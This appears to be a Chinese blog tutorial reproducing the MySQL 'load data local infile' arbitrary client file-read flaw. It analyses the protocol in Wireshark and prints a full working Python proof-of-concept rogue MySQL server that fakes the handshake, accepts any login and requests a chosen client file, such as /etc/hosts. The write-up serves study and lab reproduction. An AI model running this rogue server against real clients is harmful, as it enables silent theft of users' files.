前言
第一次得知该漏洞后找了一些文章去看。
一开始不明白这个漏洞是怎么来的,只知道通过在服务端运行poc脚本就可以读取客户端的任意文件,直接找到网上准备好的靶机进行测试,发现可行,然后就拿别人的poc试验,屡次失败,一度认为这个安全问题是不是已经被修复了。
查了很多文章,了解完原理之后,重新复现了一次,终于成功了。
准备
- 客户端:本地kali虚拟机
- 服务端:阿里云服务器(centos系统) 开放端口:1336
- 客户端与服务端均有安装mysql
分析原理
这得从mysql的两个操作说起:
load data infile
load data local infile
前者用于从服务端文件导入数据到数据库,后者用于从本地客户端文件导入数据到数据库。
举例:
首先连接服务端数据库:
mysql -h (服务端ip) -u root --enable-local-infile -P1336
输入密码成功连接,在mysql库中创建一个名为test的表,列名分别为username和passwd:
MySQL[mysql]>create table test(
>username varchar(10),
>passwd varchar(10)
>);
假设在客户端有一个test.txt文件,路径为/var/lib/mysql-files/test.txt,内容为:
kali-clien:Hed9eh0g
使用指令:
MySQL[mysql]>load data local infile "/var/lib/mysql-files/test.txt" into table test fields terminated by ':';
它的意思是导入test.txt的内容到test表中,且按冒号进行分割内容并存储到列名。
然后再查询test表可以发现成功导入test.txt文件:
接下来我们要利用wireshake分析从远程连接服务端数据库到导入本地文件这个过程中,服务端和客户端大致交流了什么。
首先打开wireshake,监听3306端口,然后再重新进行一次从连接服务端数据库到导入本地文件的操作。
可以得到相对应的流量信息,分析一共有几步:
1、 greeting包:
2、 登录请求包:
3、 初始化的一些查询,比如select @@version_comment limit 1、show databases、use database之类的:
4、 找到关于执行 load data local infile语句的包。
- 首先是客户端发起的Request Query,其中可以看到是我们请求导入test.txt时的指令:
- 紧接着,服务端发起一个包Response TABULAR,其中包含test.txt的路径:
- 然后客户端才开始发送/var/lib/mysql-files/test.txt文件的内容:
以上就是客户端请求服务端导入本地文件的过程
如果客户端要用load data local infile 将文件插入表中的话,客户端会先发一个请求包,这个请求包里包含了要插入的文件的路径。而服务器接下来返回一个Response TABULAR包,里面包含文件路径,然后客户端得到了许可才开始传输文件。
此时如果服务器返回的Response TABULAR包里的文件路径不是客户端发出的请求包的路径的话,而是服务器恶意构造的,在其返回的Response TABULAR包里更改文件路径,就可以实现客户端任意文件读取。
漏洞验证
首先必须伪造出一个服务端的mysql的请求,必须能够发送下列几个包:
- 向mysql client发送Server greeting包
- 对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录)
- 等待 Client 端发送一个Query Package
- 回复一个file transfer请求
这是老外编写的POC:
#coding=utf-8
#mysql_server.py
#!/usr/bin/python
#coding: utf8
import socket
# linux :
filestring = "/root/桌面/test.txt" #这一行并没有什么卵用,估计是记录一下读的哪个文件
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 1336 # 改下端口
BUFFER_SIZE = 1024
# 原作者的greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#1 Greeting
greeting = "\x4a\x00\x00\x00\x0a\x35\x2e\x36\x2e\x34\x37\x00\xda\x03\x00\x00\x3e\x54\x6c\x44\x4e\x3b\x79\x70\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x5f\x7d\x77\x5d\x4c\x44\x52\x4d\x6a\x4f\x2c\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
payloadlen = "\x1e" #原payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x76\x61\x72\x2f\x6c\x69\x62\x2f\x6d\x79\x73\x71\x6c\x2d\x66\x69\x6c\x65\x73\x2f\x74\x65\x73\x74\x2e\x74\x78\x74"
#原payload = payloadlen + padding + "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
#/etc/hosts
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
这个POC必须先经过修改才能实现,这就是我当初直接用会失败的原因。
修改的地方包括:
- PORT参数,即服务器开放的端口
- greeting参数,也即greeting包所对应的转义字符串:
- File Transfer包(也即payload参数),结合要访问的文件路径进行修改:
其中第一部分payloadlen对应第一个十六进制"\x1e",第二部分padding对应第二第三个十六进制"\x00\x00",剩余的十六进制构成payload第三部分。
修改完成,在服务端运行该脚本,客户端连接服务端mysql,在客户端没有进行任何操作请求的情况下,服务端即可读取到指定路径的test.txt内容:
POC优化
刚才的POC使用起来还是太麻烦了,总是要去修改对应的参数才能实现读取,GitHub上有一个相对自动化的POC:传送门
使用时只需要修改服务器开放的端口,和想要读取的文件路径,脚本会根据流量包的规则自动转化为符合条件的十六进制字符串,算是很方便了:
最终读取的信息会保存在同目录下的mysql.log文件下: